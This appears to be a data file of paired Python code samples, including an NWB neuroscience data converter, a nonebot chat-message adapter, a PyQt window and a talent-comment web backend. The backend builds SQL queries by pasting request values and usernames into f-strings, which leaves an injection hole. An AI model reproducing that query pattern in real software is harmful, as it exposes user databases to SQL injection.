from spikeinterface.extractors import SpikeGLXRecordingExtractor
class Wen21EventsInterface(BaseDataInterface):
def __init__(self, session_path: FolderPathType):
super().__init__(session_path=session_path)
def calculate_behavioral_offset_with_nidq_channel(self, df_epochs: pd.DataFrame):
"""Calculates the offset in time between the timestamps in the behavioral files and the niqst files."""
session_path = Path(self.source_data["session_path"])
# Calculate shift
stream_id = "nidq"
nidq_file_name = f"{session_path.stem.replace('g0', 'g0_t0')}.{stream_id}.bin"
nidq_file_path = session_path / nidq_file_name
offset_for_behavioral_time_stamps = 0
if nidq_file_path.is_file():
nidq_extractor = SpikeGLXRecordingExtractor(session_path, stream_id=stream_id)
channel = "nidq#XA2" # The channel that indicates change in epoch
recording_nidq = nidq_extractor
# Get time stamps of changes
epoch_change_trace = recording_nidq.get_traces(channel_ids=[channel]).ravel()
times = recording_nidq.get_times()
# Binarize
epoch_change_trace_bin = np.zeros(epoch_change_trace.shape, dtype=int)
epoch_change_trace_bin[epoch_change_trace > (np.max(epoch_change_trace) // 2)] = 1
epoch_start_idxs = np.where(np.diff(epoch_change_trace_bin) > 0)[0]
df_epochs["epoch_start_by_niqd"] = times[epoch_start_idxs][: df_epochs.shape[0]]
df_epochs["behavioral_to_signal_shift"] = df_epochs["start_time"] - df_epochs["epoch_start_by_niqd"]
offset_for_behavioral_time_stamps = df_epochs["behavioral_to_signal_shift"].mean()
else:
warn(f"nidq file not found for session with sessio_path {session_path}")
return offset_for_behavioral_time_stamps
def run_conversion(self, nwbfile: NWBFile, metadata: dict):
behavior_module = get_module(nwbfile, "behavior")
session_path = Path(self.source_data["session_path"])
track_label = next(_ for _ in session_path.name.split("_") if "john" in _)
no_name_epoch_name = "No name"
# Get positions and epochs to calculate beahavioral shift
file_path_list = list(session_path.glob("*position.txt"))
file_path_list = [path for path in file_path_list if track_label in path.name]
df_data_list = []
for position_file_path in file_path_list:
position_file_name = position_file_path.name
file_epoch_name = position_file_name.split("_position")[0].partition("train1")
if len(file_epoch_name) > 0:
file_epoch_name = file_epoch_name[-1]
df_data = pd.read_csv(
position_file_path,
sep="\t",
names=["position", "timestamps", "x1", "x2"],
)
df_data["epoch"] = file_epoch_name[1:] if file_epoch_name else no_name_epoch_name
df_data_list.append(df_data)
df_position_data = pd.concat(df_data_list)
df_position_data.sort_values(by="timestamps", inplace=True)
# Obtain epochs the from the position data (the one with the highest temporal resolution available)
df_epochs = df_position_data.groupby("epoch").agg({"timestamps": ["min", "max"]})["timestamps"]
df_epochs = df_epochs.sort_values(by="min").reset_index()
df_epochs = df_epochs.rename(columns={"min": "start_time", "max": "stop_time", "epoch": "epoch_name"})
# Calculate with the offset with the nidq channel
offset_for_behavioral_time_stamps = self.calculate_behavioral_offset_with_nidq_channel(df_epochs=df_epochs)
# Offset the position and epochs which have already been calculated
df_position_data["timestamps"] -= offset_for_behavioral_time_stamps
df_epochs["start_time"] -= offset_for_behavioral_time_stamps
df_epochs["stop_time"] -= offset_for_behavioral_time_stamps
# Add positions to the nwb_file
position_data = df_position_data.position.values.astype("float", copy=False)
position_timestamps = df_position_data.timestamps.values.astype("float", copy=False)
pos_obj = Position(name=f"position within the virtual reality wheel")
spatial_series_object = SpatialSeries(
name="position",
description="position within the virtual reality wheel",
data=H5DataIO(position_data, compression="gzip"),
reference_frame="unknown",
unit="m",
conversion=0.01,
timestamps=position_timestamps,
)
# Add epochs to the nwb-file
pos_obj.add_spatial_series(spatial_series_object)
behavior_module.add_data_interface(pos_obj)
df_epochs.drop(columns=["epoch_start_by_niqd", "behavioral_to_signal_shift"], inplace=True)
rows_as_dicts = df_epochs.T.to_dict().values()
nwbfile.add_epoch_column(name="epoch_name", description="the name of the epoch")
[nwbfile.add_epoch(**row_dict) for row_dict in rows_as_dicts]
# Add trial time intervals
file_path_list = list(session_path.glob("*trial_times.txt"))
file_path_list = [path for path in file_path_list if track_label in path.name]
df_data_list = []
for trial_file_path in file_path_list:
trial_file_name = trial_file_path.name
file_epoch_name = trial_file_name.split("_trial")[0].partition("train1")
if len(file_epoch_name) > 0:
file_epoch_name = file_epoch_name[-1]
df_data = pd.read_csv(
trial_file_path,
sep="\t",
names=["stop_time", "x1", "x2", "x3"],
)
df_data["epoch"] = file_epoch_name[1:] if file_epoch_name else no_name_epoch_name
df_data_list.append(df_data)
df_data_concatenated = pd.concat(df_data_list).reset_index()
df_data_concatenated.sort_values(by="stop_time", inplace=True)
df_data_concatenated["stop_time"] -= offset_for_behavioral_time_stamps
first_trial_time = nwbfile.epochs.start_time[:][1]
df_data_concatenated["start_time"] = df_data_concatenated.stop_time.shift(1).fillna(first_trial_time)
rows_as_dicts = df_data_concatenated[["start_time", "stop_time", "epoch"]].T.to_dict().values()
nwbfile.add_trial_column(name="epoch", description="epoch")
[nwbfile.add_trial(**row_dict) for row_dict in rows_as_dicts]
# Add lick events
file_path_list = list(session_path.glob("*licks.txt"))
file_path_list = [path for path in file_path_list if track_label in path.name]
df_data_list = []
for licks_file_path in file_path_list:
df_data = pd.read_csv(licks_file_path, sep="\t", names=["position", "time"])
df_data_list.append(df_data)
df_data_concatenated = pd.concat(df_data_list)
df_data_concatenated.sort_values(by="time", inplace=True)
df_data_concatenated["time"] -= offset_for_behavioral_time_stamps
lick_timestamps = df_data_concatenated.time.values.astype("float", copy=False)
lick_positions = df_data_concatenated.position.values.astype("float", copy=False)
position_on_lick_series = TimeSeries(
name="lick events",
description="lick events timestamps and their corresponding position",
data=lick_positions,
unit="m",
conversion=0.01,
timestamps=lick_timestamps,
)
behavior_module.add(position_on_lick_series)
# Add reward times
file_path_list = list(session_path.glob("*reward_times.txt"))
file_path_list = [path for path in file_path_list if track_label in path.name]
df_data_list = []
for reward_file_path in file_path_list:
df_data = pd.read_csv(reward_file_path, sep="\t", names=["reward_time_stamps", "x1"])
df_data_list.append(df_data)
df_data_concatenated = pd.concat(df_data_list)
df_data_concatenated.sort_values(by="reward_time_stamps", inplace=True)
df_data_concatenated["reward_time_stamps"] -= offset_for_behavioral_time_stamps
reward_timestamps = df_data_concatenated.reward_time_stamps.values.astype("float", copy=False)
events = Events(
name=f"reward_times",
description="timestamps for rewards",
timestamps=reward_timestamps,
)
behavior_module.add(events)
|
import re
from io import BytesIO
from pathlib import Path
from base64 import b64encode
from typing import Type, Union, Tuple, Mapping, Iterable, Optional
from nonebot.typing import overrides
from nonebot.adapters import Message as BaseMessage, MessageSegment as BaseMessageSegment
from .utils import log, escape, unescape, _b2s
class MessageSegment(BaseMessageSegment["Message"]):
"""
CQHTTP 协议 MessageSegment 适配。具体方法参考协议消息段类型或源码。
"""
@classmethod
@overrides(BaseMessageSegment)
def get_message_class(cls) -> Type["Message"]:
return Message
@overrides(BaseMessageSegment)
def __str__(self) -> str:
type_ = self.type
data = self.data.copy()
# process special types
if type_ == "text":
return escape(
data.get("text", ""), # type: ignore
escape_comma=False)
params = ",".join(
[f"{k}={escape(str(v))}" for k, v in data.items() if v is not None])
return f"[CQ:{type_}{"," if params else ""}{params}]"
@overrides(BaseMessageSegment)
def __add__(self, other) -> "Message":
return Message(self) + (MessageSegment.text(other) if isinstance(
other, str) else other)
@overrides(BaseMessageSegment)
def __radd__(self, other) -> "Message":
return (MessageSegment.text(other)
if isinstance(other, str) else Message(other)) + self
@overrides(BaseMessageSegment)
def is_text(self) -> bool:
return self.type == "text"
@staticmethod
def anonymous(ignore_failure: Optional[bool] = None) -> "MessageSegment":
return MessageSegment("anonymous", {"ignore": _b2s(ignore_failure)})
@staticmethod
def at(user_id: Union[int, str]) -> "MessageSegment":
return MessageSegment("at", {"qq": str(user_id)})
@staticmethod
def contact(type_: str, id: int) -> "MessageSegment":
return MessageSegment("contact", {"type": type_, "id": str(id)})
@staticmethod
def contact_group(group_id: int) -> "MessageSegment":
return MessageSegment("contact", {"type": "group", "id": str(group_id)})
@staticmethod
def contact_user(user_id: int) -> "MessageSegment":
return MessageSegment("contact", {"type": "qq", "id": str(user_id)})
@staticmethod
def dice() -> "MessageSegment":
return MessageSegment("dice", {})
@staticmethod
def face(id_: int) -> "MessageSegment":
return MessageSegment("face", {"id": str(id_)})
@staticmethod
def forward(id_: str) -> "MessageSegment":
log("WARNING", "Forward Message only can be received!")
return MessageSegment("forward", {"id": id_})
@staticmethod
def image(file: Union[str, bytes, BytesIO, Path],
type_: Optional[str] = None,
cache: bool = True,
proxy: bool = True,
timeout: Optional[int] = None) -> "MessageSegment":
if isinstance(file, BytesIO):
file = file.read()
if isinstance(file, bytes):
file = f"base64://{b64encode(file).decode()}"
elif isinstance(file, Path):
file = f"file:///{file.resolve()}"
return MessageSegment(
"image", {
"file": file,
"type": type_,
"cache": _b2s(cache),
"proxy": _b2s(proxy),
"timeout": timeout
})
@staticmethod
def json(data: str) -> "MessageSegment":
return MessageSegment("json", {"data": data})
@staticmethod
def location(latitude: float,
longitude: float,
title: Optional[str] = None,
content: Optional[str] = None) -> "MessageSegment":
return MessageSegment(
"location", {
"lat": str(latitude),
"lon": str(longitude),
"title": title,
"content": content
})
@staticmethod
def music(type_: str, id_: int) -> "MessageSegment":
return MessageSegment("music", {"type": type_, "id": id_})
@staticmethod
def music_custom(url: str,
audio: str,
title: str,
content: Optional[str] = None,
img_url: Optional[str] = None) -> "MessageSegment":
return MessageSegment(
"music", {
"type": "custom",
"url": url,
"audio": audio,
"title": title,
"content": content,
"image": img_url
})
@staticmethod
def node(id_: int) -> "MessageSegment":
return MessageSegment("node", {"id": str(id_)})
@staticmethod
def node_custom(user_id: int, nickname: str,
content: Union[str, "Message"]) -> "MessageSegment":
return MessageSegment("node", {
"user_id": str(user_id),
"nickname": nickname,
"content": content
})
@staticmethod
def poke(type_: str, id_: str) -> "MessageSegment":
return MessageSegment("poke", {"type": type_, "id": id_})
@staticmethod
def record(file: Union[str, bytes, BytesIO, Path],
magic: Optional[bool] = None,
cache: Optional[bool] = None,
proxy: Optional[bool] = None,
timeout: Optional[int] = None) -> "MessageSegment":
if isinstance(file, BytesIO):
file = file.read()
if isinstance(file, bytes):
file = f"base64://{b64encode(file).decode()}"
elif isinstance(file, Path):
file = f"file:///{file.resolve()}"
return MessageSegment(
"record", {
"file": file,
"magic": _b2s(magic),
"cache": _b2s(cache),
"proxy": _b2s(proxy),
"timeout": timeout
})
@staticmethod
def reply(id_: int) -> "MessageSegment":
return MessageSegment("reply", {"id": str(id_)})
@staticmethod
def rps() -> "MessageSegment":
return MessageSegment("rps", {})
@staticmethod
def shake() -> "MessageSegment":
return MessageSegment("shake", {})
@staticmethod
def share(url: str = "",
title: str = "",
content: Optional[str] = None,
image: Optional[str] = None) -> "MessageSegment":
return MessageSegment("share", {
"url": url,
"title": title,
"content": content,
"image": image
})
@staticmethod
def text(text: str) -> "MessageSegment":
return MessageSegment("text", {"text": text})
@staticmethod
def video(file: Union[str, bytes, BytesIO, Path],
cache: Optional[bool] = None,
proxy: Optional[bool] = None,
timeout: Optional[int] = None) -> "MessageSegment":
if isinstance(file, BytesIO):
file = file.read()
if isinstance(file, bytes):
file = f"base64://{b64encode(file).decode()}"
elif isinstance(file, Path):
file = f"file:///{file.resolve()}"
return MessageSegment(
"video", {
"file": file,
"cache": _b2s(cache),
"proxy": _b2s(proxy),
"timeout": timeout
})
@staticmethod
def xml(data: str) -> "MessageSegment":
return MessageSegment("xml", {"data": data})
class Message(BaseMessage[MessageSegment]):
"""
CQHTTP 协议 Message 适配。
"""
@classmethod
@overrides(BaseMessage)
def get_segment_class(cls) -> Type[MessageSegment]:
return MessageSegment
@overrides(BaseMessage)
def __add__(self, other: Union[str, Mapping,
Iterable[Mapping]]) -> "Message":
return super(Message, self).__add__(
MessageSegment.text(other) if isinstance(other, str) else other)
@overrides(BaseMessage)
def __radd__(self, other: Union[str, Mapping,
Iterable[Mapping]]) -> "Message":
return super(Message, self).__radd__(
MessageSegment.text(other) if isinstance(other, str) else other)
@staticmethod
@overrides(BaseMessage)
def _construct(
msg: Union[str, Mapping,
Iterable[Mapping]]) -> Iterable[MessageSegment]:
if isinstance(msg, Mapping):
yield MessageSegment(msg["type"], msg.get("data") or {})
return
elif isinstance(msg, Iterable) and not isinstance(msg, str):
for seg in msg:
yield MessageSegment(seg["type"], seg.get("data") or {})
return
elif isinstance(msg, str):
def _iter_message(msg: str) -> Iterable[Tuple[str, str]]:
text_begin = 0
for cqcode in re.finditer(
r"\[CQ:(?P<type>[a-zA-Z0-9-_.]+)"
r"(?P<params>"
r"(?:,[a-zA-Z0-9-_.]+=[^,\]]+)*"
r"),?\]", msg):
yield "text", msg[text_begin:cqcode.pos + cqcode.start()]
text_begin = cqcode.pos + cqcode.end()
yield cqcode.group("type"), cqcode.group("params").lstrip(
",")
yield "text", msg[text_begin:]
for type_, data in _iter_message(msg):
if type_ == "text":
if data:
# only yield non-empty text segment
yield MessageSegment(type_, {"text": unescape(data)})
else:
data = {
k: unescape(v) for k, v in map(
lambda x: x.split("=", maxsplit=1),
filter(lambda x: x, (
x.lstrip() for x in data.split(","))))
}
yield MessageSegment(type_, data)
@overrides(BaseMessage)
def extract_plain_text(self) -> str:
return "".join(seg.data["text"] for seg in self if seg.is_text())
| import re
from io import BytesIO
from pathlib import Path
from base64 import b64encode
from typing import Type, Union, Tuple, Mapping, Iterable, Optional
from nonebot.typing import overrides
from nonebot.adapters import Message as BaseMessage, MessageSegment as BaseMessageSegment
from .utils import log, escape, unescape, _b2s
class MessageSegment(BaseMessageSegment["Message"]):
"""
CQHTTP 协议 MessageSegment 适配。具体方法参考协议消息段类型或源码。
"""
@classmethod
@overrides(BaseMessageSegment)
def get_message_class(cls) -> Type["Message"]:
return Message
@overrides(BaseMessageSegment)
def __str__(self) -> str:
type_ = self.type
data = self.data.copy()
# process special types
if type_ == "text":
return escape(
data.get("text", ""), # type: ignore
escape_comma=False)
params = ",".join(
[f"{k}={escape(str(v))}" for k, v in data.items() if v is not None])
return f"[CQ:{type_}{',' if params else ''}{params}]"
@overrides(BaseMessageSegment)
def __add__(self, other) -> "Message":
return Message(self) + (MessageSegment.text(other) if isinstance(
other, str) else other)
@overrides(BaseMessageSegment)
def __radd__(self, other) -> "Message":
return (MessageSegment.text(other)
if isinstance(other, str) else Message(other)) + self
@overrides(BaseMessageSegment)
def is_text(self) -> bool:
return self.type == "text"
@staticmethod
def anonymous(ignore_failure: Optional[bool] = None) -> "MessageSegment":
return MessageSegment("anonymous", {"ignore": _b2s(ignore_failure)})
@staticmethod
def at(user_id: Union[int, str]) -> "MessageSegment":
return MessageSegment("at", {"qq": str(user_id)})
@staticmethod
def contact(type_: str, id: int) -> "MessageSegment":
return MessageSegment("contact", {"type": type_, "id": str(id)})
@staticmethod
def contact_group(group_id: int) -> "MessageSegment":
return MessageSegment("contact", {"type": "group", "id": str(group_id)})
@staticmethod
def contact_user(user_id: int) -> "MessageSegment":
return MessageSegment("contact", {"type": "qq", "id": str(user_id)})
@staticmethod
def dice() -> "MessageSegment":
return MessageSegment("dice", {})
@staticmethod
def face(id_: int) -> "MessageSegment":
return MessageSegment("face", {"id": str(id_)})
@staticmethod
def forward(id_: str) -> "MessageSegment":
log("WARNING", "Forward Message only can be received!")
return MessageSegment("forward", {"id": id_})
@staticmethod
def image(file: Union[str, bytes, BytesIO, Path],
type_: Optional[str] = None,
cache: bool = True,
proxy: bool = True,
timeout: Optional[int] = None) -> "MessageSegment":
if isinstance(file, BytesIO):
file = file.read()
if isinstance(file, bytes):
file = f"base64://{b64encode(file).decode()}"
elif isinstance(file, Path):
file = f"file:///{file.resolve()}"
return MessageSegment(
"image", {
"file": file,
"type": type_,
"cache": _b2s(cache),
"proxy": _b2s(proxy),
"timeout": timeout
})
@staticmethod
def json(data: str) -> "MessageSegment":
return MessageSegment("json", {"data": data})
@staticmethod
def location(latitude: float,
longitude: float,
title: Optional[str] = None,
content: Optional[str] = None) -> "MessageSegment":
return MessageSegment(
"location", {
"lat": str(latitude),
"lon": str(longitude),
"title": title,
"content": content
})
@staticmethod
def music(type_: str, id_: int) -> "MessageSegment":
return MessageSegment("music", {"type": type_, "id": id_})
@staticmethod
def music_custom(url: str,
audio: str,
title: str,
content: Optional[str] = None,
img_url: Optional[str] = None) -> "MessageSegment":
return MessageSegment(
"music", {
"type": "custom",
"url": url,
"audio": audio,
"title": title,
"content": content,
"image": img_url
})
@staticmethod
def node(id_: int) -> "MessageSegment":
return MessageSegment("node", {"id": str(id_)})
@staticmethod
def node_custom(user_id: int, nickname: str,
content: Union[str, "Message"]) -> "MessageSegment":
return MessageSegment("node", {
"user_id": str(user_id),
"nickname": nickname,
"content": content
})
@staticmethod
def poke(type_: str, id_: str) -> "MessageSegment":
return MessageSegment("poke", {"type": type_, "id": id_})
@staticmethod
def record(file: Union[str, bytes, BytesIO, Path],
magic: Optional[bool] = None,
cache: Optional[bool] = None,
proxy: Optional[bool] = None,
timeout: Optional[int] = None) -> "MessageSegment":
if isinstance(file, BytesIO):
file = file.read()
if isinstance(file, bytes):
file = f"base64://{b64encode(file).decode()}"
elif isinstance(file, Path):
file = f"file:///{file.resolve()}"
return MessageSegment(
"record", {
"file": file,
"magic": _b2s(magic),
"cache": _b2s(cache),
"proxy": _b2s(proxy),
"timeout": timeout
})
@staticmethod
def reply(id_: int) -> "MessageSegment":
return MessageSegment("reply", {"id": str(id_)})
@staticmethod
def rps() -> "MessageSegment":
return MessageSegment("rps", {})
@staticmethod
def shake() -> "MessageSegment":
return MessageSegment("shake", {})
@staticmethod
def share(url: str = "",
title: str = "",
content: Optional[str] = None,
image: Optional[str] = None) -> "MessageSegment":
return MessageSegment("share", {
"url": url,
"title": title,
"content": content,
"image": image
})
@staticmethod
def text(text: str) -> "MessageSegment":
return MessageSegment("text", {"text": text})
@staticmethod
def video(file: Union[str, bytes, BytesIO, Path],
cache: Optional[bool] = None,
proxy: Optional[bool] = None,
timeout: Optional[int] = None) -> "MessageSegment":
if isinstance(file, BytesIO):
file = file.read()
if isinstance(file, bytes):
file = f"base64://{b64encode(file).decode()}"
elif isinstance(file, Path):
file = f"file:///{file.resolve()}"
return MessageSegment(
"video", {
"file": file,
"cache": _b2s(cache),
"proxy": _b2s(proxy),
"timeout": timeout
})
@staticmethod
def xml(data: str) -> "MessageSegment":
return MessageSegment("xml", {"data": data})
class Message(BaseMessage[MessageSegment]):
"""
CQHTTP 协议 Message 适配。
"""
@classmethod
@overrides(BaseMessage)
def get_segment_class(cls) -> Type[MessageSegment]:
return MessageSegment
@overrides(BaseMessage)
def __add__(self, other: Union[str, Mapping,
Iterable[Mapping]]) -> "Message":
return super(Message, self).__add__(
MessageSegment.text(other) if isinstance(other, str) else other)
@overrides(BaseMessage)
def __radd__(self, other: Union[str, Mapping,
Iterable[Mapping]]) -> "Message":
return super(Message, self).__radd__(
MessageSegment.text(other) if isinstance(other, str) else other)
@staticmethod
@overrides(BaseMessage)
def _construct(
msg: Union[str, Mapping,
Iterable[Mapping]]) -> Iterable[MessageSegment]:
if isinstance(msg, Mapping):
yield MessageSegment(msg["type"], msg.get("data") or {})
return
elif isinstance(msg, Iterable) and not isinstance(msg, str):
for seg in msg:
yield MessageSegment(seg["type"], seg.get("data") or {})
return
elif isinstance(msg, str):
def _iter_message(msg: str) -> Iterable[Tuple[str, str]]:
text_begin = 0
for cqcode in re.finditer(
r"\[CQ:(?P<type>[a-zA-Z0-9-_.]+)"
r"(?P<params>"
r"(?:,[a-zA-Z0-9-_.]+=[^,\]]+)*"
r"),?\]", msg):
yield "text", msg[text_begin:cqcode.pos + cqcode.start()]
text_begin = cqcode.pos + cqcode.end()
yield cqcode.group("type"), cqcode.group("params").lstrip(
",")
yield "text", msg[text_begin:]
for type_, data in _iter_message(msg):
if type_ == "text":
if data:
# only yield non-empty text segment
yield MessageSegment(type_, {"text": unescape(data)})
else:
data = {
k: unescape(v) for k, v in map(
lambda x: x.split("=", maxsplit=1),
filter(lambda x: x, (
x.lstrip() for x in data.split(","))))
}
yield MessageSegment(type_, data)
@overrides(BaseMessage)
def extract_plain_text(self) -> str:
return "".join(seg.data["text"] for seg in self if seg.is_text())
|
import pymysql
import os
from datetime import datetime
from lib.webexception import WebException
from http import HTTPStatus
from lib.services.dynamodb_service import get_session_username
from lib.services.rds_service import getResult, insertComment
def get_talent_detail(request, response):
data = request.data
try:
getTalentData = f"Select * from talent where TalentId = {data["talentId"]}"
talentResult = getResult(getTalentData)
oneResult = talentResult[0]
talentDict = {
"urlLink": oneResult["UrlLink"],
"name": oneResult["Name"],
"bio": oneResult["Bio"],
}
response.body = talentDict
return response
except Exception as e:
raise WebException(status_code=HTTPStatus.BAD_REQUEST, message=str(e)) from e
def get_comments(request, response):
data = request.data
username = get_session_username(data["session"])
commentList = []
try:
createdBy = ""
createdByCurrentUser = True
getUserDetails = f"Select SubscriptionPlan from user_data where UserName = '{str(username)}';"
getCommentOfTalent = f"Select CommentId, c.UserId, Comment, ParentId, c.CreatedAt, c.UpdatedAt, UserName from talent t, comment c, user_data u where c.TalentId = {data["talentId"]} and c.TalentId = t.TalentId and u.Id = c.UserId;"
userData = getResult(getUserDetails)
oneUserDetail = userData[0]
allCommentsResult = getResult(getCommentOfTalent)
for oneComment in allCommentsResult:
if not oneComment["ParentId"] is None:
if str(oneComment["UserName"]) in str(username):
createdBy = "You"
createdByCurrentUser = True
else:
createdBy = str(oneComment["UserName"])
createdByCurrentUser = False
commentDict = {
"id": int(oneComment["CommentId"]),
"createdByCurrentUser": createdByCurrentUser,
"content": oneComment["Comment"],
"fullname": createdBy,
"parent": oneComment["ParentId"],
"created": str(oneComment["CreatedAt"]),
"modified": str(oneComment["UpdatedAt"]),
}
commentList.append(commentDict)
else:
if str(oneComment["UserName"]) in str(username):
createdBy = "You"
createdByCurrentUser = True
else:
createdBy = oneComment["UserName"]
createdByCurrentUser = False
commentDict = {
"id": int(oneComment["CommentId"]),
"createdByCurrentUser": createdByCurrentUser,
"content": oneComment["Comment"],
"fullname": createdBy,
"parent": None,
"created": str(oneComment["CreatedAt"]),
"modified": str(oneComment["UpdatedAt"]),
}
commentList.append(commentDict)
response.body = {
"commentResult": commentList,
"SubscriptionPlan": oneUserDetail["SubscriptionPlan"],
}
return response
except Exception as e:
raise WebException(status_code=HTTPStatus.BAD_REQUEST, message=str(e)) from e
def create_comment(request, response):
data = request.data
now = datetime.now()
count = 0
paId = ""
username = get_session_username(data["session"])
try:
getUserDetails = f"Select * from user_data where UserName = '{str(username)}';"
userData = getResult(getUserDetails)
oneUserDetail = userData[0]
insert_comment_query = "Insert into comment (UserId, TalentId, Comment, ParentId, CreatedAt, UpdatedAt) Values (%s, %s, %s, %s, %s, %s);"
getNewCommentId = "Select LAST_INSERT_ID();"
userId = oneUserDetail["Id"]
comment = data["content"]
createdAt = now.strftime("%Y-%m-%d %H:%M:%S")
updatedAt = now.strftime("%Y-%m-%d %H:%M:%S")
parentId = 0
if not data["parent"] is None:
parentId = int(data["parent"])
else:
parentId = None
talentId = int(data["talentId"])
commentId = insertComment(
insert_comment_query,
getNewCommentId,
(userId, talentId, comment, parentId, createdAt, updatedAt),
)
count = 1
id = [id[0] for id in commentId]
if count == 1:
get_new_comment_query = f"Select CommentId, UserId, Comment, ParentId, CreatedAt, UpdatedAt, UserName from comment c, user_data u where c.TalentId = {data["talentId"]} and CommentId = {id[0]} and u.Id = c.UserId;"
comment_result = getResult(get_new_comment_query)
oneResult = comment_result[0]
if oneResult["ParentId"] is None:
paId = None
else:
paId = int(oneResult["ParentId"])
createdBy = ""
createdByCurrentUser = True
if oneResult["UserName"] == str(username):
createdBy = "You"
createdByCurrentUser = True
else:
createdBy = oneResult["UserName"]
createdByCurrentUser = False
commentDict = {
"id": int(oneResult["CommentId"]),
"parent": paId,
"content": oneResult["Comment"],
"fullname": createdBy,
"created": str(oneResult["CreatedAt"]),
"modified": str(oneResult["UpdatedAt"]),
"createdByCurrentUser": createdByCurrentUser,
}
response.body = commentDict
return response
except Exception as e:
raise WebException(status_code=HTTPStatus.BAD_REQUEST, message=str(e)) from e
| import pymysql
import os
from datetime import datetime
from lib.webexception import WebException
from http import HTTPStatus
from lib.services.dynamodb_service import get_session_username
from lib.services.rds_service import getResult, insertComment
def get_talent_detail(request, response):
data = request.data
try:
getTalentData = f"Select * from talent where TalentId = {data['talentId']}"
talentResult = getResult(getTalentData)
oneResult = talentResult[0]
talentDict = {
"urlLink": oneResult["UrlLink"],
"name": oneResult["Name"],
"bio": oneResult["Bio"],
}
response.body = talentDict
return response
except Exception as e:
raise WebException(status_code=HTTPStatus.BAD_REQUEST, message=str(e)) from e
def get_comments(request, response):
data = request.data
username = get_session_username(data["session"])
commentList = []
try:
createdBy = ""
createdByCurrentUser = True
getUserDetails = f"Select SubscriptionPlan from user_data where UserName = '{str(username)}';"
getCommentOfTalent = f"Select CommentId, c.UserId, Comment, ParentId, c.CreatedAt, c.UpdatedAt, UserName from talent t, comment c, user_data u where c.TalentId = {data['talentId']} and c.TalentId = t.TalentId and u.Id = c.UserId;"
userData = getResult(getUserDetails)
oneUserDetail = userData[0]
allCommentsResult = getResult(getCommentOfTalent)
for oneComment in allCommentsResult:
if not oneComment["ParentId"] is None:
if str(oneComment["UserName"]) in str(username):
createdBy = "You"
createdByCurrentUser = True
else:
createdBy = str(oneComment["UserName"])
createdByCurrentUser = False
commentDict = {
"id": int(oneComment["CommentId"]),
"createdByCurrentUser": createdByCurrentUser,
"content": oneComment["Comment"],
"fullname": createdBy,
"parent": oneComment["ParentId"],
"created": str(oneComment["CreatedAt"]),
"modified": str(oneComment["UpdatedAt"]),
}
commentList.append(commentDict)
else:
if str(oneComment["UserName"]) in str(username):
createdBy = "You"
createdByCurrentUser = True
else:
createdBy = oneComment["UserName"]
createdByCurrentUser = False
commentDict = {
"id": int(oneComment["CommentId"]),
"createdByCurrentUser": createdByCurrentUser,
"content": oneComment["Comment"],
"fullname": createdBy,
"parent": None,
"created": str(oneComment["CreatedAt"]),
"modified": str(oneComment["UpdatedAt"]),
}
commentList.append(commentDict)
response.body = {
"commentResult": commentList,
"SubscriptionPlan": oneUserDetail["SubscriptionPlan"],
}
return response
except Exception as e:
raise WebException(status_code=HTTPStatus.BAD_REQUEST, message=str(e)) from e
def create_comment(request, response):
data = request.data
now = datetime.now()
count = 0
paId = ""
username = get_session_username(data["session"])
try:
getUserDetails = f"Select * from user_data where UserName = '{str(username)}';"
userData = getResult(getUserDetails)
oneUserDetail = userData[0]
insert_comment_query = "Insert into comment (UserId, TalentId, Comment, ParentId, CreatedAt, UpdatedAt) Values (%s, %s, %s, %s, %s, %s);"
getNewCommentId = "Select LAST_INSERT_ID();"
userId = oneUserDetail["Id"]
comment = data["content"]
createdAt = now.strftime("%Y-%m-%d %H:%M:%S")
updatedAt = now.strftime("%Y-%m-%d %H:%M:%S")
parentId = 0
if not data["parent"] is None:
parentId = int(data["parent"])
else:
parentId = None
talentId = int(data["talentId"])
commentId = insertComment(
insert_comment_query,
getNewCommentId,
(userId, talentId, comment, parentId, createdAt, updatedAt),
)
count = 1
id = [id[0] for id in commentId]
if count == 1:
get_new_comment_query = f"Select CommentId, UserId, Comment, ParentId, CreatedAt, UpdatedAt, UserName from comment c, user_data u where c.TalentId = {data['talentId']} and CommentId = {id[0]} and u.Id = c.UserId;"
comment_result = getResult(get_new_comment_query)
oneResult = comment_result[0]
if oneResult["ParentId"] is None:
paId = None
else:
paId = int(oneResult["ParentId"])
createdBy = ""
createdByCurrentUser = True
if oneResult["UserName"] == str(username):
createdBy = "You"
createdByCurrentUser = True
else:
createdBy = oneResult["UserName"]
createdByCurrentUser = False
commentDict = {
"id": int(oneResult["CommentId"]),
"parent": paId,
"content": oneResult["Comment"],
"fullname": createdBy,
"created": str(oneResult["CreatedAt"]),
"modified": str(oneResult["UpdatedAt"]),
"createdByCurrentUser": createdByCurrentUser,
}
response.body = commentDict
return response
except Exception as e:
raise WebException(status_code=HTTPStatus.BAD_REQUEST, message=str(e)) from e
|
import os
import sys
import sqlite3
import logging
from PyQt5 import QtCore
from PyQt5 import QtWidgets
from PyQt5.QtCore import Qt
from PyQt5.QtGui import QPalette
from multiprocessing import Process, Queue
sys.path.append(os.path.dirname(os.path.abspath(os.path.dirname(__file__))))
from utility.setting import *
from utility.static import now, strf_time
class Window(QtWidgets.QMainWindow):
def __init__(self):
super().__init__()
self.log = logging.getLogger('Window')
self.log.setLevel(logging.INFO)
filehandler = logging.FileHandler(filename=f"{system_path}/Log/T{strf_time("%Y%m%d")}.txt", encoding='utf-8')
self.log.addHandler(filehandler)
def setTextEdit(tab):
textedit = QtWidgets.QTextEdit(tab)
textedit.setReadOnly(True)
textedit.setVerticalScrollBarPolicy(Qt.ScrollBarAlwaysOff)
textedit.setHorizontalScrollBarPolicy(Qt.ScrollBarAlwaysOff)
textedit.setStyleSheet(style_bc_dk)
textedit.setFont(qfont1)
return textedit
self.setFont(qfont1)
self.setWindowFlags(Qt.FramelessWindowHint)
self.setGeometry(0, 0, 692, 292)
self.lg_tabWidget = QtWidgets.QTabWidget(self)
self.lg_tabWidget.setGeometry(5, 5, 682, 282)
self.lg_tab = QtWidgets.QWidget()
self.lg_textEdit = setTextEdit(self.lg_tab)
self.lg_textEdit.setGeometry(5, 5, 668, 242)
self.lg_tabWidget.addTab(self.lg_tab, '틱데이터 저장')
self.info_label = QtWidgets.QLabel(self)
self.info_label.setGeometry(105, 1, 500, 30)
self.writer = Writer()
self.writer.data0.connect(self.UpdateTexedit)
self.writer.start()
def UpdateTexedit(self, msg):
if '부가정보' in msg:
self.UpdateInfo(msg.split(' ')[1], msg.split(' ')[2])
else:
self.lg_textEdit.setTextColor(color_fg_dk)
self.lg_textEdit.append(f'[{now()}] {msg}')
self.log.info(f'[{now()}] {msg}')
